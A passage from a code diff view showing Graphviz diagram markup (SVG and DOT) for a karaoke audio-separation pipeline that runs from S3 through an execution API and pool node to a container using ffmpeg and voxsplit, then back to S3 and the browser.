<text text-anchor="middle" x="126.5" y="-475.5" font-family="monospace" font-size="10.00">Has tracks?</text>
</g>
<!-- click&#45;&gt;check -->
<g id="edge1" class="edge">
<title>click&#45;&gt;check</title>
<path fill="none" stroke="black" d="M126.5,-532.81C126.5,-524.79 126.5,-515.05 126.5,-506.07"/>
<polygon fill="black" stroke="black" points="130,-506.03 126.5,-496.03 123,-506.03 130,-506.03"/>
</g>
<!-- cycle -->
<g id="node3" class="node">
<title>cycle</title>
<path fill="#e8f5e9" stroke="black" d="M203,-414C203,-414 12,-414 12,-414 6,-414 0,-408 0,-402 0,-402 0,-390 0,-390 0,-384 6,-378 12,-378 12,-378 203,-378 203,-378 209,-378 215,-384 215,-390 215,-390 215,-402 215,-402 215,-408 209,-414 203,-414"/>
<text text-anchor="middle" x="107.5" y="-399" font-family="monospace" font-size="10.00">cycleKaraoke()</text>
<text text-anchor="middle" x="107.5" y="-388" font-family="monospace" font-size="10.00">Original → Instrumentals → Vocals</text>
</g>
<!-- check&#45;&gt;cycle -->
<g id="edge2" class="edge">
<title>check&#45;&gt;cycle</title>
<path fill="none" stroke="black" d="M122.66,-460.81C120.17,-450.36 116.88,-436.5 114,-424.36"/>
<polygon fill="black" stroke="black" points="117.32,-423.19 111.6,-414.27 110.51,-424.81 117.32,-423.19"/>
<text text-anchor="middle" x="126.5" y="-434.8" font-family="monospace" font-size="9.00">yes</text>
</g>
<!-- post -->
<g id="node4" class="node">
<title>post</title>
<path fill="#e8eaf6" stroke="black" d="M364,-414C364,-414 245,-414 245,-414 239,-414 233,-408 233,-402 233,-402 233,-390 233,-390 233,-384 239,-378 245,-378 245,-378 364,-378 364,-378 370,-378 376,-384 376,-390 376,-390 376,-402 376,-402 376,-408 370,-414 364,-414"/>
<text text-anchor="middle" x="304.5" y="-399" font-family="monospace" font-size="10.00">POST /karaoke/{id}</text>
<text text-anchor="middle" x="304.5" y="-388" font-family="monospace" font-size="10.00">(fetch, non&#45;blocking)</text>
</g>
<!-- check&#45;&gt;post -->
<g id="edge3" class="edge">
<title>check&#45;&gt;post</title>
<path fill="none" stroke="black" d="M150.51,-466.21C177.74,-453.97 222.83,-433.7 257.2,-418.26"/>
<polygon fill="black" stroke="black" points="258.9,-421.33 266.59,-414.04 256.03,-414.94 258.9,-421.33"/>
<text text-anchor="middle" x="261" y="-434.8" font-family="monospace" font-size="9.00">no (eligible)</text>
</g>
<!-- fork -->
<g id="node5" class="node">
<title>fork</title>
<path fill="#e8eaf6" stroke="black" d="M287,-332C287,-332 180,-332 180,-332 174,-332 168,-326 168,-320 168,-320 168,-308 168,-308 168,-302 174,-296 180,-296 180,-296 287,-296 287,-296 293,-296 299,-302 299,-308 299,-308 299,-320 299,-320 299,-326 293,-332 287,-332"/>
<text text-anchor="middle" x="233.5" y="-317" font-family="monospace" font-size="10.00">Server forks</text>
<text text-anchor="middle" x="233.5" y="-306" font-family="monospace" font-size="10.00">detached grandchild</text>
</g>
<!-- post&#45;&gt;fork -->
<g id="edge4" class="edge">
<title>post&#45;&gt;fork</title>
<path fill="none" stroke="black" d="M253.29,-377.86C245.86,-373.21 239.15,-367.35 234.5,-360 231.18,-354.76 229.82,-348.43 229.53,-342.21"/>
<polygon fill="black" stroke="black" points="233.03,-342.14 229.89,-332.03 226.04,-341.9 233.03,-342.14"/>
<text text-anchor="middle" x="298" y="-352.8" font-family="monospace" font-size="9.00">200 {status: processing}</text>
</g>
<!-- hourglass -->
<g id="node7" class="node">
<title>hourglass</title>
<path fill="#e0f2f1" stroke="black" d="M438,-278C438,-278 313,-278 313,-278 307,-278 301,-272 301,-266 301,-266 301,-254 301,-254 301,-248 307,-242 313,-242 313,-242 438,-242 438,-242 444,-242 450,-248 450,-254 450,-254 450,-266 450,-266 450,-272 444,-278 438,-278"/>
<text text-anchor="middle" x="375.5" y="-263" font-family="monospace" font-size="10.00">Button shows ⌛</text>
<text text-anchor="middle" x="375.5" y="-252" font-family="monospace" font-size="10.00">karaokeProcessing=true</text>
</g>
<!-- post&#45;&gt;hourglass -->
<g id="edge5" class="edge">
<title>post&#45;&gt;hourglass</title>
<path fill="none" stroke="black" d="M342.82,-377.98C350.04,-373.14 356.79,-367.19 361.5,-360 375.36,-338.86 377.98,-309.74 377.67,-288.55"/>
<polygon fill="black" stroke="black" points="381.15,-288.15 377.28,-278.28 374.16,-288.41 381.15,-288.15"/>
</g>
<!-- process -->
<g id="node6" class="node">
<title>process</title>
<path fill="#fce4ec" stroke="black" d="M279,-224C279,-224 184,-224 184,-224 178,-224 172,-218 172,-212 172,-212 172,-200 172,-200 172,-194 178,-188 184,-188 184,-188 279,-188 279,-188 285,-188 291,-194 291,-200 291,-200 291,-212 291,-212 291,-218 285,-224 279,-224"/>
<text text-anchor="middle" x="231.5" y="-209" font-family="monospace" font-size="10.00">process_karaoke()</text>
<text text-anchor="middle" x="231.5" y="-198" font-family="monospace" font-size="10.00">(~30&#45;120s)</text>
</g>
<!-- fork&#45;&gt;process -->
<g id="edge6" class="edge">
<title>fork&#45;&gt;process</title>
<path fill="none" stroke="black" d="M233.18,-295.97C232.87,-279.38 232.38,-253.88 232.02,-234.43"/>
<polygon fill="black" stroke="black" points="235.52,-234.27 231.83,-224.34 228.52,-234.4 235.52,-234.27"/>
</g>
<!-- detect -->
<g id="node9" class="node">
<title>detect</title>
<path fill="#fff8e1" stroke="black" d="M216.86,-139.07C216.86,-139.07 121.14,-114.93 121.14,-114.93 115.32,-113.47 115.32,-110.53 121.14,-109.07 121.14,-109.07 216.86,-84.93 216.86,-84.93 222.68,-83.47 234.32,-83.47 240.14,-84.93 240.14,-84.93 335.86,-109.07 335.86,-109.07 341.68,-110.53 341.68,-113.47 335.86,-114.93 335.86,-114.93 240.14,-139.07 240.14,-139.07 234.32,-140.53 222.68,-140.53 216.86,-139.07"/>
<text text-anchor="middle" x="228.5" y="-115" font-family="monospace" font-size="10.00">instrumentals_url</text>
<text text-anchor="middle" x="228.5" y="-104" font-family="monospace" font-size="10.00">appears in JSON?</text>
</g>
<!-- process&#45;&gt;detect -->
<g id="edge11" class="edge">
<title>process&#45;&gt;detect</title>
<path fill="none" stroke="black" stroke-dasharray="5,2" d="M230.94,-187.7C230.61,-177.61 230.18,-164.46 229.77,-152.01"/>
<polygon fill="black" stroke="black" points="233.26,-151.68 229.44,-141.8 226.27,-151.91 233.26,-151.68"/>
<text text-anchor="middle" x="257" y="-162.8" font-family="monospace" font-size="9.00">DB updated</text>
</g>
<!-- refresh -->
<g id="node8" class="node">
<title>refresh</title>
<path fill="#e0f2f1" stroke="black" d="M345,-36C345,-36 256,-36 256,-36 250,-36 244,-30 244,-24 244,-24 244,-12 244,-12 244,-6 250,0 256,0 256,0 345,0 345,0 351,0 357,-6 357,-12 357,-12 357,-24 357,-24 357,-30 351,-36 345,-36"/>
<text text-anchor="middle" x="300.5" y="-21" font-family="monospace" font-size="10.00">10s URL refresh</text>
<text text-anchor="middle" x="300.5" y="-10" font-family="monospace" font-size="10.00">fetchWatchData()</text>
</g>
<!-- hourglass&#45;&gt;refresh -->
<g id="edge7" class="edge">
<title>hourglass&#45;&gt;refresh</title>
<path fill="none" stroke="black" d="M377.02,-241.77C379.19,-209.07 380.58,-136.4 356.5,-82 350.05,-67.43 338.96,-53.86 328.34,-43.07"/>
<polygon fill="black" stroke="black" points="330.74,-40.52 321.12,-36.07 325.86,-45.55 330.74,-40.52"/>
<text text-anchor="middle" x="400.5" y="-162.8" font-family="monospace" font-size="9.00">every 10s</text>
</g>
<!-- refresh&#45;&gt;detect -->
<g id="edge8" class="edge">
<title>refresh&#45;&gt;detect</title>
<path fill="none" stroke="black" d="M287.08,-36.15C277.84,-47.96 265.27,-64.02 254.14,-78.23"/>
<polygon fill="black" stroke="black" points="251.2,-76.31 247.79,-86.35 256.71,-80.63 251.2,-76.31"/>
</g>
<!-- detect&#45;&gt;refresh -->
<g id="edge9" class="edge">
<title>detect&#45;&gt;refresh</title>
<path fill="none" stroke="black" d="M252.48,-88.02C259.61,-80.65 267.19,-72.26 273.5,-64 277.96,-58.16 282.29,-51.54 286.12,-45.2"/>
<polygon fill="black" stroke="black" points="289.33,-46.65 291.35,-36.25 283.29,-43.12 289.33,-46.65"/>
<text text-anchor="middle" x="298" y="-56.8" font-family="monospace" font-size="9.00">not yet</text>
</g>
<!-- autoswitch -->
<g id="node10" class="node">
<title>autoswitch</title>
<path fill="#e8f5e9" stroke="black" d="M214,-36C214,-36 125,-36 125,-36 119,-36 113,-30 113,-24 113,-24 113,-12 113,-12 113,-6 119,0 125,0 125,0 214,0 214,0 220,0 226,-6 226,-12 226,-12 226,-24 226,-24 226,-30 220,-36 214,-36"/>
<text text-anchor="middle" x="169.5" y="-21" font-family="monospace" font-size="10.00">Auto&#45;switch to</text>
<text text-anchor="middle" x="169.5" y="-10" font-family="monospace" font-size="10.00">instrumentals 🎤</text>
</g>
<!-- detect&#45;&gt;autoswitch -->
<g id="edge10" class="edge">
<title>detect&#45;&gt;autoswitch</title>
<path fill="none" stroke="black" d="M199.97,-89.01C192.3,-81.8 184.7,-73.25 179.5,-64 176.43,-58.55 174.31,-52.23 172.83,-46.09"/>
<polygon fill="black" stroke="black" points="176.24,-45.25 170.92,-36.09 169.36,-46.57 176.24,-45.25"/>
<text text-anchor="middle" x="211.5" y="-56.8" font-family="monospace" font-size="9.00">tracks ready</text>
</g>
</g>
</svg>
Side by side

Before

Width:  |  Height:  |  Size: 10 KiB

77
docs/karaoke-pipeline.dot
View file

@ -1,77 +0,0 @@
// Karaoke Pipeline — MPS → Unsandbox → Container → S3
// Render: dot -Tsvg docs/karaoke-pipeline.dot -o docs/karaoke-pipeline.dot.svg
digraph karaoke_pipeline {
rankdir=LR;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=10];
edge [fontname="monospace", fontsize=9];
subgraph cluster_mps {
label="MPS (uWSGI)";
style=dashed;
color="#5871ad";
trigger [label="Trigger\n(upload / on-demand / backfill)", fillcolor="#e8eaf6"];
s3_down [label="S3 Download\n→ /tmp/karaoke_*/media.bin\n64KB chunks", fillcolor="#e8eaf6"];
upload_media [label="POST /upload\n(streaming file body)\n→ upload_id", fillcolor="#e8eaf6"];
upload_vox [label="POST /upload\nvoxsplit.c\n→ upload_id", fillcolor="#e8eaf6"];
execute [label="POST /execute\n{upload_ids, script}\ntiny JSON, no file bytes", fillcolor="#e8eaf6"];
stream_resp [label="Stream response\n→ /tmp/karaoke_*/response.json\n64KB chunks", fillcolor="#e8eaf6"];
decode [label="Decode artifacts\n(base64 → tmpfile)\nupload to S3", fillcolor="#e8eaf6"];
db_update [label="Update product\nextensions + file_bytes\nset S3 ACLs", fillcolor="#e8eaf6"];
}
subgraph cluster_api {
label="api.unsandbox.com";
style=dashed;
color="#ad5871";
recv_upload [label="Receive upload\nAES-256-CTR encrypt\n→ /tmp/uploads/{id}.enc\nkey in ETS only", fillcolor="#fce4ec"];
dispatch [label="Dispatch execute\nErlang RPC\n~200B metadata only", fillcolor="#fce4ec"];
}
subgraph cluster_pool {
label="Pool Node";
style=dashed;
color="#58ad71";
pull [label="GET /internal/upload/{id}\nX-Upload-Key auth\nstreaming decrypt", fillcolor="#e8f5e9"];
inject [label="lxc exec ... cat >\n/root/input/{filename}\n64KB streaming pipe", fillcolor="#e8f5e9"];
}
subgraph cluster_container {
label="Zerotrust Container";
style=dashed;
color="#ad8f58";
compile [label="gcc -O2 voxsplit.c -lm", fillcolor="#fff8e1"];
extract [label="ffmpeg -i media\n-vn -acodec pcm_s16le\n-ar 44100 -ac 2\naudio.wav", fillcolor="#fff8e1"];
split [label="voxsplit audio.wav\n→ split-instrumental.wav\n→ split-vocal.wav", fillcolor="#fff8e1"];
remux [label="ffmpeg remux\n(video: copy video +\nisolated audio)\n(audio: copy wav)", fillcolor="#fff8e1"];
artifacts [label="/tmp/artifacts/\ninstrumentals.{ext}\nvocals.{ext}", fillcolor="#fff8e1"];
}
s3 [label="S3 / CDN\n(DO Spaces or BYOB)", shape=cylinder, fillcolor="#f3e5f5"];
browser [label="Browser\n(watch.js)", shape=ellipse, fillcolor="#e0f2f1"];
trigger -> s3_down;
s3_down -> upload_media [label="file on disk"];
s3_down -> upload_vox;
upload_media -> recv_upload [label="streaming\noctet-stream"];
upload_vox -> recv_upload;
recv_upload -> execute [label="upload_id", style=dashed, dir=back];
execute -> dispatch [label="JSON\n{upload_ids}"];
dispatch -> pull [label="RPC\nmetadata only"];
pull -> recv_upload [label="HTTPS GET\nstreaming decrypt", style=dotted];
pull -> inject;
inject -> compile;
compile -> extract;
extract -> split;
split -> remux;
remux -> artifacts;
artifacts -> stream_resp [label="response JSON\nbase64 artifacts", style=dotted];
stream_resp -> decode;
decode -> s3 [label="PUT instrumentals\nPUT vocals"];
db_update -> s3 [label="ACL update", style=dashed];
decode -> db_update;
s3 -> browser [label="presigned URL\n15 min TTL"];
}

327
docs/karaoke-pipeline.dot.svg
View file

@ -1,327 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<!-- Generated by graphviz version 2.43.0 (0)
-->
<!-- Title: karaoke_pipeline Pages: 1 -->
<svg width="1637pt" height="501pt"
viewBox="0.00 0.00 1637.00 501.00" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 497)">
<title>karaoke_pipeline</title>
<polygon fill="white" stroke="transparent" points="-4,4 -4,-497 1633,-497 1633,4 -4,4"/>
<g id="clust1" class="cluster">
<title>cluster_mps</title>
<polygon fill="none" stroke="#5871ad" stroke-dasharray="5,2" points="8,-286 8,-485 781,-485 781,-286 8,-286"/>
<text text-anchor="middle" x="394.5" y="-469.8" font-family="Times,serif" font-size="14.00">MPS (uWSGI)</text>
</g>
<g id="clust2" class="cluster">
<title>cluster_api</title>
<polygon fill="none" stroke="#ad5871" stroke-dasharray="5,2" points="346,-127 346,-278 517,-278 517,-127 346,-127"/>
<text text-anchor="middle" x="431.5" y="-262.8" font-family="Times,serif" font-size="14.00">api.unsandbox.com</text>
</g>
<g id="clust3" class="cluster">
<title>cluster_pool</title>
<polygon fill="none" stroke="#58ad71" stroke-dasharray="5,2" points="26,-8 26,-89 514,-89 514,-8 26,-8"/>
<text text-anchor="middle" x="270" y="-73.8" font-family="Times,serif" font-size="14.00">Pool Node</text>
</g>
<g id="clust4" class="cluster">
<title>cluster_container</title>
<polygon fill="none" stroke="#ad8f58" stroke-dasharray="5,2" points="613,-10 613,-101 1621,-101 1621,-10 613,-10"/>
<text text-anchor="middle" x="1117" y="-85.8" font-family="Times,serif" font-size="14.00">Zerotrust Container</text>
</g>
<!-- trigger -->
<g id="node1" class="node">
<title>trigger</title>
<path fill="#e8eaf6" stroke="black" d="M207,-449C207,-449 28,-449 28,-449 22,-449 16,-443 16,-437 16,-437 16,-425 16,-425 16,-419 22,-413 28,-413 28,-413 207,-413 207,-413 213,-413 219,-419 219,-425 219,-425 219,-437 219,-437 219,-443 213,-449 207,-449"/>
<text text-anchor="middle" x="117.5" y="-434" font-family="monospace" font-size="10.00">Trigger</text>
<text text-anchor="middle" x="117.5" y="-423" font-family="monospace" font-size="10.00">(upload / on&#45;demand / backfill)</text>
</g>
<!-- s3_down -->
<g id="node2" class="node">
<title>s3_down</title>
<path fill="#e8eaf6" stroke="black" d="M506,-394.5C506,-394.5 357,-394.5 357,-394.5 351,-394.5 345,-388.5 345,-382.5 345,-382.5 345,-365.5 345,-365.5 345,-359.5 351,-353.5 357,-353.5 357,-353.5 506,-353.5 506,-353.5 512,-353.5 518,-359.5 518,-365.5 518,-365.5 518,-382.5 518,-382.5 518,-388.5 512,-394.5 506,-394.5"/>
<text text-anchor="middle" x="431.5" y="-382.5" font-family="monospace" font-size="10.00">S3 Download</text>
<text text-anchor="middle" x="431.5" y="-371.5" font-family="monospace" font-size="10.00">→ /tmp/karaoke_*/media.bin</text>
<text text-anchor="middle" x="431.5" y="-360.5" font-family="monospace" font-size="10.00">64KB chunks</text>
</g>
<!-- trigger&#45;&gt;s3_down -->
<g id="edge1" class="edge">
<title>trigger&#45;&gt;s3_down</title>
<path fill="none" stroke="black" d="M217.22,-412.96C254.83,-406.09 297.6,-398.28 334.91,-391.46"/>
<polygon fill="black" stroke="black" points="335.57,-394.9 344.78,-389.66 334.31,-388.01 335.57,-394.9"/>
</g>
<!-- upload_media -->
<g id="node3" class="node">
<title>upload_media</title>
<path fill="#e8eaf6" stroke="black" d="M755,-394.5C755,-394.5 636,-394.5 636,-394.5 630,-394.5 624,-388.5 624,-382.5 624,-382.5 624,-365.5 624,-365.5 624,-359.5 630,-353.5 636,-353.5 636,-353.5 755,-353.5 755,-353.5 761,-353.5 767,-359.5 767,-365.5 767,-365.5 767,-382.5 767,-382.5 767,-388.5 761,-394.5 755,-394.5"/>
<text text-anchor="middle" x="695.5" y="-382.5" font-family="monospace" font-size="10.00">POST /upload</text>
<text text-anchor="middle" x="695.5" y="-371.5" font-family="monospace" font-size="10.00">(streaming file body)</text>
<text text-anchor="middle" x="695.5" y="-360.5" font-family="monospace" font-size="10.00">→ upload_id</text>
</g>
<!-- s3_down&#45;&gt;upload_media -->
<g id="edge2" class="edge">
<title>s3_down&#45;&gt;upload_media</title>
<path fill="none" stroke="black" d="M518.29,-374C548.99,-374 583.48,-374 613.74,-374"/>
<polygon fill="black" stroke="black" points="613.83,-377.5 623.83,-374 613.83,-370.5 613.83,-377.5"/>
<text text-anchor="middle" x="568" y="-376.8" font-family="monospace" font-size="9.00">file on disk</text>
</g>
<!-- upload_vox -->
<g id="node4" class="node">
<title>upload_vox</title>
<path fill="#e8eaf6" stroke="black" d="M728,-335.5C728,-335.5 663,-335.5 663,-335.5 657,-335.5 651,-329.5 651,-323.5 651,-323.5 651,-306.5 651,-306.5 651,-300.5 657,-294.5 663,-294.5 663,-294.5 728,-294.5 728,-294.5 734,-294.5 740,-300.5 740,-306.5 740,-306.5 740,-323.5 740,-323.5 740,-329.5 734,-335.5 728,-335.5"/>
<text text-anchor="middle" x="695.5" y="-323.5" font-family="monospace" font-size="10.00">POST /upload</text>
<text text-anchor="middle" x="695.5" y="-312.5" font-family="monospace" font-size="10.00">voxsplit.c</text>
<text text-anchor="middle" x="695.5" y="-301.5" font-family="monospace" font-size="10.00">→ upload_id</text>
</g>
<!-- s3_down&#45;&gt;upload_vox -->
<g id="edge3" class="edge">
<title>s3_down&#45;&gt;upload_vox</title>
<path fill="none" stroke="black" d="M518.29,-354.68C558.63,-345.6 605.49,-335.04 640.74,-327.11"/>
<polygon fill="black" stroke="black" points="641.84,-330.45 650.83,-324.83 640.3,-323.62 641.84,-330.45"/>
</g>
<!-- recv_upload -->
<g id="node9" class="node">
<title>recv_upload</title>
<path fill="#fce4ec" stroke="black" d="M497,-247C497,-247 366,-247 366,-247 360,-247 354,-241 354,-235 354,-235 354,-207 354,-207 354,-201 360,-195 366,-195 366,-195 497,-195 497,-195 503,-195 509,-201 509,-207 509,-207 509,-235 509,-235 509,-241 503,-247 497,-247"/>
<text text-anchor="middle" x="431.5" y="-235" font-family="monospace" font-size="10.00">Receive upload</text>
<text text-anchor="middle" x="431.5" y="-224" font-family="monospace" font-size="10.00">AES&#45;256&#45;CTR encrypt</text>
<text text-anchor="middle" x="431.5" y="-213" font-family="monospace" font-size="10.00">→ /tmp/uploads/{id}.enc</text>
<text text-anchor="middle" x="431.5" y="-202" font-family="monospace" font-size="10.00">key in ETS only</text>
</g>
<!-- upload_media&#45;&gt;recv_upload -->
<g id="edge4" class="edge">
<title>upload_media&#45;&gt;recv_upload</title>
<path fill="none" stroke="black" d="M631.5,-353.46C625.16,-350.83 618.89,-348 613,-345 598.87,-337.79 526.49,-287.31 477.79,-253.02"/>
<polygon fill="black" stroke="black" points="479.78,-250.14 469.59,-247.24 475.75,-255.86 479.78,-250.14"/>
<text text-anchor="middle" x="568" y="-348.8" font-family="monospace" font-size="9.00">streaming</text>
<text text-anchor="middle" x="568" y="-338.8" font-family="monospace" font-size="9.00">octet&#45;stream</text>
</g>
<!-- upload_vox&#45;&gt;recv_upload -->
<g id="edge5" class="edge">
<title>upload_vox&#45;&gt;recv_upload</title>
<path fill="none" stroke="black" d="M665.99,-294.44C647.88,-282.24 623.49,-267.38 600,-258 574.5,-247.81 545.63,-240.16 519.14,-234.54"/>
<polygon fill="black" stroke="black" points="519.61,-231.07 509.11,-232.49 518.2,-237.93 519.61,-231.07"/>
</g>
<!-- execute -->
<g id="node5" class="node">
<title>execute</title>
<path fill="#e8eaf6" stroke="black" d="M186,-394.5C186,-394.5 49,-394.5 49,-394.5 43,-394.5 37,-388.5 37,-382.5 37,-382.5 37,-365.5 37,-365.5 37,-359.5 43,-353.5 49,-353.5 49,-353.5 186,-353.5 186,-353.5 192,-353.5 198,-359.5 198,-365.5 198,-365.5 198,-382.5 198,-382.5 198,-388.5 192,-394.5 186,-394.5"/>
<text text-anchor="middle" x="117.5" y="-382.5" font-family="monospace" font-size="10.00">POST /execute</text>
<text text-anchor="middle" x="117.5" y="-371.5" font-family="monospace" font-size="10.00">{upload_ids, script}</text>
<text text-anchor="middle" x="117.5" y="-360.5" font-family="monospace" font-size="10.00">tiny JSON, no file bytes</text>
</g>
<!-- dispatch -->
<g id="node10" class="node">
<title>dispatch</title>
<path fill="#fce4ec" stroke="black" d="M485,-176.5C485,-176.5 378,-176.5 378,-176.5 372,-176.5 366,-170.5 366,-164.5 366,-164.5 366,-147.5 366,-147.5 366,-141.5 372,-135.5 378,-135.5 378,-135.5 485,-135.5 485,-135.5 491,-135.5 497,-141.5 497,-147.5 497,-147.5 497,-164.5 497,-164.5 497,-170.5 491,-176.5 485,-176.5"/>
<text text-anchor="middle" x="431.5" y="-164.5" font-family="monospace" font-size="10.00">Dispatch execute</text>
<text text-anchor="middle" x="431.5" y="-153.5" font-family="monospace" font-size="10.00">Erlang RPC</text>
<text text-anchor="middle" x="431.5" y="-142.5" font-family="monospace" font-size="10.00">~200B metadata only</text>
</g>
<!-- execute&#45;&gt;dispatch -->
<g id="edge7" class="edge">
<title>execute&#45;&gt;dispatch</title>
<path fill="none" stroke="black" d="M198.38,-360C206.06,-356.12 213.15,-351.21 219,-345 243.99,-318.47 216.7,-295.27 237,-265 264.19,-224.45 288.69,-232.27 327,-202 335.4,-195.36 335.78,-191.43 345,-186 348.66,-183.85 352.5,-181.81 356.44,-179.9"/>
<polygon fill="black" stroke="black" points="358.13,-182.97 365.78,-175.65 355.23,-176.6 358.13,-182.97"/>
<text text-anchor="middle" x="282" y="-277.8" font-family="monospace" font-size="9.00">JSON</text>
<text text-anchor="middle" x="282" y="-267.8" font-family="monospace" font-size="9.00">{upload_ids}</text>
</g>
<!-- stream_resp -->
<g id="node6" class="node">
<title>stream_resp</title>
<path fill="#e8eaf6" stroke="black" d="M204,-335.5C204,-335.5 31,-335.5 31,-335.5 25,-335.5 19,-329.5 19,-323.5 19,-323.5 19,-306.5 19,-306.5 19,-300.5 25,-294.5 31,-294.5 31,-294.5 204,-294.5 204,-294.5 210,-294.5 216,-300.5 216,-306.5 216,-306.5 216,-323.5 216,-323.5 216,-329.5 210,-335.5 204,-335.5"/>
<text text-anchor="middle" x="117.5" y="-323.5" font-family="monospace" font-size="10.00">Stream response</text>
<text text-anchor="middle" x="117.5" y="-312.5" font-family="monospace" font-size="10.00">→ /tmp/karaoke_*/response.json</text>
<text text-anchor="middle" x="117.5" y="-301.5" font-family="monospace" font-size="10.00">64KB chunks</text>
</g>
<!-- decode -->
<g id="node7" class="node">
<title>decode</title>
<path fill="#e8eaf6" stroke="black" d="M482,-453.5C482,-453.5 381,-453.5 381,-453.5 375,-453.5 369,-447.5 369,-441.5 369,-441.5 369,-424.5 369,-424.5 369,-418.5 375,-412.5 381,-412.5 381,-412.5 482,-412.5 482,-412.5 488,-412.5 494,-418.5 494,-424.5 494,-424.5 494,-441.5 494,-441.5 494,-447.5 488,-453.5 482,-453.5"/>
<text text-anchor="middle" x="431.5" y="-441.5" font-family="monospace" font-size="10.00">Decode artifacts</text>
<text text-anchor="middle" x="431.5" y="-430.5" font-family="monospace" font-size="10.00">(base64 → tmpfile)</text>
<text text-anchor="middle" x="431.5" y="-419.5" font-family="monospace" font-size="10.00">upload to S3</text>
</g>
<!-- stream_resp&#45;&gt;decode -->
<g id="edge17" class="edge">
<title>stream_resp&#45;&gt;decode</title>
<path fill="none" stroke="black" d="M191.93,-335.54C201.11,-338.51 210.32,-341.69 219,-345 276.78,-367.01 287.63,-380.92 345,-404 349.49,-405.81 354.14,-407.6 358.85,-409.35"/>
<polygon fill="black" stroke="black" points="357.96,-412.76 368.56,-412.9 360.36,-406.18 357.96,-412.76"/>
</g>
<!-- db_update -->
<g id="node8" class="node">
<title>db_update</title>
<path fill="#e8eaf6" stroke="black" d="M761,-453.5C761,-453.5 630,-453.5 630,-453.5 624,-453.5 618,-447.5 618,-441.5 618,-441.5 618,-424.5 618,-424.5 618,-418.5 624,-412.5 630,-412.5 630,-412.5 761,-412.5 761,-412.5 767,-412.5 773,-418.5 773,-424.5 773,-424.5 773,-441.5 773,-441.5 773,-447.5 767,-453.5 761,-453.5"/>
<text text-anchor="middle" x="695.5" y="-441.5" font-family="monospace" font-size="10.00">Update product</text>
<text text-anchor="middle" x="695.5" y="-430.5" font-family="monospace" font-size="10.00">extensions + file_bytes</text>
<text text-anchor="middle" x="695.5" y="-419.5" font-family="monospace" font-size="10.00">set S3 ACLs</text>
</g>
<!-- decode&#45;&gt;db_update -->
<g id="edge20" class="edge">
<title>decode&#45;&gt;db_update</title>
<path fill="none" stroke="black" d="M494.26,-433C528,-433 570.34,-433 607.39,-433"/>
<polygon fill="black" stroke="black" points="607.69,-436.5 617.69,-433 607.69,-429.5 607.69,-436.5"/>
</g>
<!-- s3 -->
<g id="node18" class="node">
<title>s3</title>
<path fill="#f3e5f5" stroke="black" d="M999,-485.98C999,-488.06 969.64,-489.75 933.5,-489.75 897.36,-489.75 868,-488.06 868,-485.98 868,-485.98 868,-452.02 868,-452.02 868,-449.94 897.36,-448.25 933.5,-448.25 969.64,-448.25 999,-449.94 999,-452.02 999,-452.02 999,-485.98 999,-485.98"/>
<path fill="none" stroke="black" d="M999,-485.98C999,-483.9 969.64,-482.21 933.5,-482.21 897.36,-482.21 868,-483.9 868,-485.98"/>
<text text-anchor="middle" x="933.5" y="-472" font-family="monospace" font-size="10.00">S3 / CDN</text>
<text text-anchor="middle" x="933.5" y="-461" font-family="monospace" font-size="10.00">(DO Spaces or BYOB)</text>
</g>
<!-- decode&#45;&gt;s3 -->
<g id="edge18" class="edge">
<title>decode&#45;&gt;s3</title>
<path fill="none" stroke="black" d="M494.05,-445.28C528.82,-451.71 573.17,-459.04 613,-463 691.77,-470.84 711.86,-467.67 791,-469 812.63,-469.36 836.12,-469.48 857.63,-469.47"/>
<polygon fill="black" stroke="black" points="857.69,-472.97 867.69,-469.46 857.68,-465.97 857.69,-472.97"/>
<text text-anchor="middle" x="695.5" y="-480.8" font-family="monospace" font-size="9.00">PUT instrumentals</text>
<text text-anchor="middle" x="695.5" y="-470.8" font-family="monospace" font-size="9.00">PUT vocals</text>
</g>
<!-- db_update&#45;&gt;s3 -->
<g id="edge19" class="edge">
<title>db_update&#45;&gt;s3</title>
<path fill="none" stroke="black" stroke-dasharray="5,2" d="M773.12,-444.69C800.21,-448.82 830.64,-453.46 857.58,-457.57"/>
<polygon fill="black" stroke="black" points="857.31,-461.07 867.73,-459.12 858.37,-454.15 857.31,-461.07"/>
<text text-anchor="middle" x="817.5" y="-457.8" font-family="monospace" font-size="9.00">ACL update</text>
</g>
<!-- recv_upload&#45;&gt;execute -->
<g id="edge6" class="edge">
<title>recv_upload&#45;&gt;execute</title>
<path fill="none" stroke="black" stroke-dasharray="5,2" d="M384.11,-252.78C342.4,-280.21 278.7,-319.36 219,-345 211.91,-348.05 204.4,-350.88 196.81,-353.49"/>
<polygon fill="black" stroke="black" points="386.26,-255.55 392.66,-247.11 382.39,-249.72 386.26,-255.55"/>
<text text-anchor="middle" x="282" y="-338.8" font-family="monospace" font-size="9.00">upload_id</text>
</g>
<!-- pull -->
<g id="node11" class="node">
<title>pull</title>
<path fill="#e8f5e9" stroke="black" d="M189,-57.5C189,-57.5 46,-57.5 46,-57.5 40,-57.5 34,-51.5 34,-45.5 34,-45.5 34,-28.5 34,-28.5 34,-22.5 40,-16.5 46,-16.5 46,-16.5 189,-16.5 189,-16.5 195,-16.5 201,-22.5 201,-28.5 201,-28.5 201,-45.5 201,-45.5 201,-51.5 195,-57.5 189,-57.5"/>
<text text-anchor="middle" x="117.5" y="-45.5" font-family="monospace" font-size="10.00">GET /internal/upload/{id}</text>
<text text-anchor="middle" x="117.5" y="-34.5" font-family="monospace" font-size="10.00">X&#45;Upload&#45;Key auth</text>
<text text-anchor="middle" x="117.5" y="-23.5" font-family="monospace" font-size="10.00">streaming decrypt</text>
</g>
<!-- dispatch&#45;&gt;pull -->
<g id="edge8" class="edge">
<title>dispatch&#45;&gt;pull</title>
<path fill="none" stroke="black" d="M376.65,-135.46C322.62,-114.85 239.42,-83.12 182.16,-61.28"/>
<polygon fill="black" stroke="black" points="183.08,-57.89 172.49,-57.59 180.59,-64.43 183.08,-57.89"/>
<text text-anchor="middle" x="282" y="-127.8" font-family="monospace" font-size="9.00">RPC</text>
<text text-anchor="middle" x="282" y="-117.8" font-family="monospace" font-size="9.00">metadata only</text>
</g>
<!-- pull&#45;&gt;recv_upload -->
<g id="edge9" class="edge">
